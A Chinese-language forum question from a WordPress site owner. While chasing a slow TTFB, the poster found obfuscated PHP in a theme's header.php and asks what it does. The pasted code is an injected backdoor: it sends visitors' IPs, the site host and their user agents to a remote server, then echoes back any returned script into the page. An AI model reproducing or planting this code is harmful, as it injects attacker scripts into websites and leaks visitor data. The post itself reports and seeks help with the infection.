在神话般的帮助下,我正在为Wordpress主题排除20-30秒的TTFB故障Query Monitor.
我能够将原因缩小到以下代码:
#e0e950#
error_reporting(0); @ini_set(\'display_errors\',0); $wp_s15 = @$_SERVER[\'HTTP_USER_AGENT\']; if (( preg_match (\'/Gecko|MSIE/i\', $wp_s15) && !preg_match (\'/bot/i\', $wp_s15))){
$wp_s0915="http://"."https"."http".".com/"."http/?ip=".$_SERVER[\'REMOTE_ADDR\']."&referer=".urlencode($_SERVER[\'HTTP_HOST\'])."&ua=".urlencode($wp_s15);
if (function_exists(\'curl_init\') && function_exists(\'curl_exec\')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_s0915); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_15s = curl_exec ($ch); curl_close($ch);} elseif (function_exists(\'file_get_contents\') && @ini_get(\'allow_url_fopen\')) {$wp_15s = @file_get_contents($wp_s0915);}
elseif (function_exists(\'fopen\') && function_exists(\'stream_get_contents\')) {$wp_15s=@stream_get_contents(@fopen($wp_s0915, "r"));}}
if (substr($wp_15s,1,3) === \'scr\'){ echo $wp_15s; }
#/e0e950#
由于curl请求的20秒超时值,TTFB的原因现在变得很明显。但为什么这个代码甚至存在于模板头中呢。php到底在做什么?